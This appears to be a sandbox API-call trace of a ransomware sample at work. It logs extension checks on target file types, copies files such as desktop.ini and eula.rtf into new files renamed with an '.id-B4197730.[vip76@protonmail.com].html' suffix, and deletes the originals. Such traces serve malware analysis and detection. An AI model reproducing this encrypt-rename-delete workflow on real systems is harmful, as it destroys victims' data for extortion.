	[0060.072] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50
	[0060.072] lstrlenW (lpString=".dbf") returned 4
	[0060.072] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1
	[0060.072] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50
	[0060.073] lstrlenW (lpString=".1cd") returned 4
	[0060.073] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1
	[0060.073] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50
	[0060.073] lstrlenW (lpString=".jpg") returned 4
	[0060.073] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1
	[0060.073] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50
	[0060.073] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50
	[0060.073] lstrlenW (lpString=".doc") returned 4
	[0060.073] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1
	[0060.073] lstrlenW (lpString=".docx") returned 5
	[0060.073] lstrcmpiW (lpString1=".docx", lpString2="t.log") returned -1
	[0060.073] lstrlenW (lpString=".pdf") returned 4
	[0060.073] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1
	[0060.073] lstrlenW (lpString=".xls") returned 4
	[0060.073] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1
	[0060.073] lstrlenW (lpString=".xlsx") returned 5
	[0060.073] lstrcmpiW (lpString1=".xlsx", lpString2="t.log") returned -1
	[0060.073] lstrlenW (lpString=".ppt") returned 4
	[0060.073] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1
	[0060.073] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50
	[0060.073] lstrlenW (lpString=".zip") returned 4
	[0060.073] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1
	[0060.073] lstrlenW (lpString=".rar") returned 4
	[0060.073] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1
	[0060.073] lstrlenW (lpString=".bz2") returned 4
	[0060.073] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1
	[0060.073] lstrlenW (lpString=".7z") returned 3
	[0060.073] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1
	[0060.073] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50
	[0060.073] lstrlenW (lpString=".dbf") returned 4
	[0060.073] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1
	[0060.073] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50
	[0060.074] lstrlenW (lpString=".1cd") returned 4
	[0060.074] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1
	[0060.074] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50
	[0060.074] lstrlenW (lpString=".jpg") returned 4
	[0060.074] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1
	[0060.074] lstrcmpiW (lpString1=".ini", lpString2=".html") returned 1
	[0060.074] lstrlenW (lpString="desktop.ini") returned 11
	[0060.074] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0060.074] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=129) returned 1
	[0060.074] CloseHandle (hObject=0x2e4) returned 1
	[0060.074] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 0x26
	[0060.074] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0060.074] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0060.074] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.075] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.075] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0060.075] GetLastError () returned 0x0
	[0060.075] ReadFile (in: hFile=0x2e4, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x81, lpOverlapped=0x0) returned 1
	[0060.075] WriteFile (in: hFile=0x2e8, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x90, lpOverlapped=0x0) returned 1
	[0060.076] ReadFile (in: hFile=0x2e4, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0060.076] WriteFile (in: hFile=0x2e8, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xea, lpOverlapped=0x0) returned 1
	[0060.076] SetEndOfFile (hFile=0x2e8) returned 1
	[0060.076] CloseHandle (hObject=0x2e8) returned 1
	[0060.077] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.077] SetEndOfFile (hFile=0x2e4) returned 1
	[0060.078] CloseHandle (hObject=0x2e4) returned 1
	[0060.078] SetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x26) returned 1
	[0060.078] DeleteFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 1
	[0060.078] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0060.079] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0060.079] lstrlenW (lpString=".doc") returned 4
	[0060.079] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0060.079] lstrlenW (lpString=".docx") returned 5
	[0060.079] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0060.079] lstrlenW (lpString=".pdf") returned 4
	[0060.079] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0060.079] lstrlenW (lpString=".xls") returned 4
	[0060.079] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0060.079] lstrlenW (lpString=".xlsx") returned 5
	[0060.079] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1
	[0060.079] lstrlenW (lpString=".ppt") returned 4
	[0060.079] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
	[0060.079] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0060.079] lstrlenW (lpString=".zip") returned 4
	[0060.079] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0060.079] lstrlenW (lpString=".rar") returned 4
	[0060.079] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0060.079] lstrlenW (lpString=".bz2") returned 4
	[0060.079] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0060.079] lstrlenW (lpString=".7z") returned 3
	[0060.079] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0060.079] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0060.079] lstrlenW (lpString=".dbf") returned 4
	[0060.079] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0060.079] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0060.079] lstrlenW (lpString=".1cd") returned 4
	[0060.079] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0060.079] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0060.079] lstrlenW (lpString=".jpg") returned 4
	[0060.079] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0060.079] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0060.080] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0060.080] lstrlenW (lpString=".doc") returned 4
	[0060.080] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0060.080] lstrlenW (lpString=".docx") returned 5
	[0060.080] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0060.080] lstrlenW (lpString=".pdf") returned 4
	[0060.080] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0060.080] lstrlenW (lpString=".xls") returned 4
	[0060.080] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0060.080] lstrlenW (lpString=".xlsx") returned 5
	[0060.080] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1
	[0060.080] lstrlenW (lpString=".ppt") returned 4
	[0060.080] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
	[0060.080] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0060.080] lstrlenW (lpString=".zip") returned 4
	[0060.080] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0060.080] lstrlenW (lpString=".rar") returned 4
	[0060.080] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0060.080] lstrlenW (lpString=".bz2") returned 4
	[0060.080] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0060.080] lstrlenW (lpString=".7z") returned 3
	[0060.080] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0060.080] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0060.080] lstrlenW (lpString=".dbf") returned 4
	[0060.080] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0060.080] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0060.080] lstrlenW (lpString=".1cd") returned 4
	[0060.080] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0060.080] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73
	[0060.080] lstrlenW (lpString=".jpg") returned 4
	[0060.080] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0060.081] Sleep (dwMilliseconds=0x64) 
	[0060.479] Sleep (dwMilliseconds=0x64) 
	[0060.674] lstrcmpiW (lpString1=".rtf", lpString2=".html") returned 1
	[0060.674] lstrlenW (lpString="eula.rtf") returned 8
	[0060.674] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0060.676] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=3726) returned 1
	[0060.676] CloseHandle (hObject=0x2e4) returned 1
	[0060.676] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf")) returned 0x80
	[0060.676] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0060.676] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0060.676] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.676] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.676] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0060.697] GetLastError () returned 0x0
	[0060.697] ReadFile (in: hFile=0x2e4, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0xe8e, lpOverlapped=0x0) returned 1
	[0060.699] WriteFile (in: hFile=0x2ec, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xe90, lpOverlapped=0x0) returned 1
	[0060.700] ReadFile (in: hFile=0x2e4, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0060.700] WriteFile (in: hFile=0x2ec, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xe4, lpOverlapped=0x0) returned 1
	[0060.700] SetEndOfFile (hFile=0x2ec) returned 1
	[0060.700] CloseHandle (hObject=0x2ec) returned 1
	[0060.701] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.701] SetEndOfFile (hFile=0x2e4) returned 1
	[0060.702] CloseHandle (hObject=0x2e4) returned 1
	[0060.702] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0060.702] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf")) returned 1
	[0060.703] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35
	[0060.703] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35
	[0060.703] lstrlenW (lpString=".doc") returned 4
	[0060.703] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0060.703] lstrlenW (lpString=".docx") returned 5
	[0060.703] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0060.703] lstrlenW (lpString=".pdf") returned 4
	[0060.703] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0060.703] lstrlenW (lpString=".xls") returned 4
	[0060.703] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0060.703] lstrlenW (lpString=".xlsx") returned 5
	[0060.703] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0060.703] lstrlenW (lpString=".ppt") returned 4
	[0060.703] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0060.703] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35
	[0060.703] lstrlenW (lpString=".zip") returned 4
	[0060.703] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0060.703] lstrlenW (lpString=".rar") returned 4
	[0060.703] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0060.703] lstrlenW (lpString=".bz2") returned 4
	[0060.703] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0060.703] lstrlenW (lpString=".7z") returned 3
	[0060.703] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0060.703] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35
	[0060.703] lstrlenW (lpString=".dbf") returned 4
	[0060.703] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0060.703] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35
	[0060.704] lstrlenW (lpString=".1cd") returned 4
	[0060.704] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0060.704] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35
	[0060.704] lstrlenW (lpString=".jpg") returned 4
	[0060.704] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0060.704] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35
	[0060.704] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35
	[0060.704] lstrlenW (lpString=".doc") returned 4
	[0060.704] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0060.704] lstrlenW (lpString=".docx") returned 5
	[0060.704] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0060.704] lstrlenW (lpString=".pdf") returned 4
	[0060.704] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0060.704] lstrlenW (lpString=".xls") returned 4
	[0060.704] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0060.704] lstrlenW (lpString=".xlsx") returned 5
	[0060.704] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0060.704] lstrlenW (lpString=".ppt") returned 4
	[0060.704] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0060.704] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35
	[0060.704] lstrlenW (lpString=".zip") returned 4
	[0060.704] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0060.704] lstrlenW (lpString=".rar") returned 4
	[0060.704] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0060.704] lstrlenW (lpString=".bz2") returned 4
	[0060.704] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0060.704] lstrlenW (lpString=".7z") returned 3
	[0060.704] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0060.704] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35
	[0060.704] lstrlenW (lpString=".dbf") returned 4
	[0060.704] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0060.705] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35
	[0060.705] lstrlenW (lpString=".1cd") returned 4
	[0060.705] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0060.705] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\eula.rtf") returned 35
	[0060.705] lstrlenW (lpString=".jpg") returned 4
	[0060.705] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0060.705] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0060.705] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0060.705] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0060.705] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=80970) returned 1
	[0060.705] CloseHandle (hObject=0x2e4) returned 1
	[0060.705] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml")) returned 0x80
	[0060.706] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0060.706] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0060.706] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.706] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.706] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0060.707] GetLastError () returned 0x0
	[0060.707] ReadFile (in: hFile=0x2e4, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x13c4a, lpOverlapped=0x0) returned 1
	[0060.709] WriteFile (in: hFile=0x2ec, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x13c50, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x13c50, lpOverlapped=0x0) returned 1
	[0060.714] ReadFile (in: hFile=0x2e4, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0060.714] WriteFile (in: hFile=0x2ec, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xf6, lpOverlapped=0x0) returned 1
	[0060.714] SetEndOfFile (hFile=0x2ec) returned 1
	[0060.714] CloseHandle (hObject=0x2ec) returned 1
	[0060.717] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0060.717] SetEndOfFile (hFile=0x2e4) returned 1
	[0060.718] CloseHandle (hObject=0x2e4) returned 1
	[0060.718] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x80) returned 1
	[0060.719] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml")) returned 1
	[0060.719] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44
	[0060.719] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44
	[0060.719] lstrlenW (lpString=".doc") returned 4
	[0060.719] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0060.719] lstrlenW (lpString=".docx") returned 5
	[0060.719] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0060.719] lstrlenW (lpString=".pdf") returned 4
	[0060.719] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0060.719] lstrlenW (lpString=".xls") returned 4
	[0060.719] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0060.719] lstrlenW (lpString=".xlsx") returned 5
	[0060.719] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0060.719] lstrlenW (lpString=".ppt") returned 4
	[0060.719] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0060.719] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44
	[0060.719] lstrlenW (lpString=".zip") returned 4
	[0060.719] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0060.719] lstrlenW (lpString=".rar") returned 4
	[0060.719] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0060.719] lstrlenW (lpString=".bz2") returned 4
	[0060.719] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0060.719] lstrlenW (lpString=".7z") returned 3
	[0060.719] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0060.720] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44
	[0060.720] lstrlenW (lpString=".dbf") returned 4
	[0060.720] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0060.720] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44
	[0060.720] lstrlenW (lpString=".1cd") returned 4
	[0060.720] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0060.720] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44
	[0060.720] lstrlenW (lpString=".jpg") returned 4
	[0060.720] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0060.720] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44
	[0060.720] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44
	[0060.720] lstrlenW (lpString=".doc") returned 4
	[0060.720] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0060.720] lstrlenW (lpString=".docx") returned 5
	[0060.720] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0060.720] lstrlenW (lpString=".pdf") returned 4
	[0060.720] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0060.720] lstrlenW (lpString=".xls") returned 4
